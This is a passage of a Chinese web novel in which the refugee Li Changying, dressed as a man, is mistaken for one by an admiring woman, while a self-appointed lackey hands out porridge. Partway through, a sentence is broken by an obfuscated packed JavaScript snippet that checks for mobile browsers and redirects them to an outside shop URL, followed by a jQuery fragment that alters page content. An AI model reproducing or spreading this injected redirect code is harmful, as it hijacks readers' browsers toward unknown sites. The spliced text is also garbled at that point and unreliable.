他们身边还有几个同样受伤、不良于行的人,他们都欺负过其余难民,但是行径还没那么恶劣,恶劣的要么跑了,要么被人趁乱报复打死了。 昨晚上,下三白眼他们看到了泼皮和厉长瑛的互动,便意识到两人早就认识,再想到他们跟泼皮的矛盾,还骂过厉长瑛,个个都如丧考妣。 相比于他们,其他人好歹没直接得罪厉长瑛和泼皮,瞧见几人的模样,还有点儿安慰。 泼皮自封为厉长瑛跟前的头号狗腿子,狐假虎威,安排难民做事,总是要经过下三白眼几人,给他们留下一个阴冷的笑。 他缺了一只草鞋,第一次刻意路过便抢走了下三白眼的布鞋,瞧见他敢怒不敢言,爽的要上天。 第一锅粥煮好,分粥也由他亲自掌控。 他让难民中的女人和孩子先吃,男人们等下一锅,但是眼神明晃晃地瞥向下三白眼他们一行。 那德性,从哪个方位看,都是小人得志。 他偏心也极明显,给魏家人使劲儿捞干的,其余难民才一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404626|138767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视同仁。 魏璇本想说他这般恐怕对他的名声不好,可看泼皮理直气壮且对她笑得痴迷的样子,身后又有其他难民等着,到底没有多说什么,先端回去给她娘。 大夫人梁静娴靠在厉家的板车旁,精神不振。 魏堇此时在魏家其他人面前,又看不出伤弱之态了,拿着厉长瑛的碗,过去排队,打算端给厉长瑛。 前方,一个先前被拖进林子里,又被厉长瑛救了的女人打完粥,自个儿却没急着吃,羞涩地瞥了一眼厉长瑛的方向,端着走向她。 厉长瑛知道爹娘在,魏堇又给她盖了一件厚衣,此时睡得极沉。 女人满眼爱慕地看了她一会儿,将碗放在不会不小心碰到的地方,走到河边,洗了贴身的帕子,又回到厉长瑛身边,红着脸跪坐在她身边,伸出手,想要给她擦拭脏污。 厉蒙和林秀平时刻用余光关注着女儿,见到她过去,并没有阻拦。 而正在盛粥的泼皮不经意地瞥见,反应极大,扔下勺子便冲过去,“住手!” 女人吓了一跳,手停在厉长瑛脸上方。 其他人也都一惊,大部分莫名其妙他这激烈的反应,奇怪地瞧着他们。 泼皮隔开她的手,质问:“你干什么!” 女人在众人的目光下羞臊得厉害,顾及着他们之间的关系,隐忍地浅瞪了他一眼,“我帮他擦一下脸,何必这样大惊小怪。” 泼皮看她那神色,翻了个白眼,两根手指在眼睛前面比比划划,“你逃不过我的眼睛,你一个女人,对个姑娘献殷勤!你不正经!” 厉长瑛是他再生父母!他一定要守卫她的清白! “姑娘?!” 女人心碎的声音震耳欲聋,不敢置信地看向厉长瑛,“怎么可能……” “姑娘咋了,姑娘不能厉害吗?”泼皮鄙夷地看着她,“昨个儿我都叫女侠了,你还装。” 女人恍恍惚惚。 几步外,魏堇端着粥,静静地看着这荒唐的一幕。 厉长瑛被他们吵醒,迷迷糊糊地睁开眼,就看到两个鬼画符的脸在头上,丑得瞬间清醒,“你们想干啥?在我头顶上等我劝架吗?” 她此时还是那副男子打扮,但声音已经回复了本声,并不粗厚,其实很明显。 女人昨夜惊惧太过,根本没听见泼皮喊“女侠”,也先入为主地以为她是男人,一直没多想。 此时,她恨不得找个地缝钻进去,一把推开泼皮,连粥都不要了,掩面而跑。 泼皮摔了个屁墩儿,又怕厉长瑛揍他,气冲冲地爬起来,端着那女人的粥追上去,“拿走你的粥!她才不吃你的!” 厉长瑛发懵,不明白这俩人怎么回事儿。 魏堇不紧不慢地走近她。 厉长瑛闻到了粥香,肚子震天响,欢喜地伸手,“堇小郎,给我端的吗?” 魏堇挪开手,颇为冷淡,“洗洗你的脏手脏脸再喝。” 厉长瑛这才想起来她也抹得跟个鬼似的,精力充沛地一跃而起,跑向河边,蹲在那儿啪啪撩水一通搓,完事儿又跑回来,向魏堇伸手。 魏堇递给她,看着她大口喝,忽然道:“到太原郡,你我便要分开了。” 然后继续看着她。 厉长瑛一愣,舔掉嘴唇上的粥糊,送了一句祝福:“一帆风顺?” 紧接着没心没肺地问:“有点儿早了吧?” “不早。”魏堇语气里带着几分咬牙切齿的意味,“谢过厉姑娘。” “不都叫阿瑛了吗?” 厉长瑛看着他的背影,摸不清头脑。 她懒得揣摩别人的心思,端起碗专心喝粥。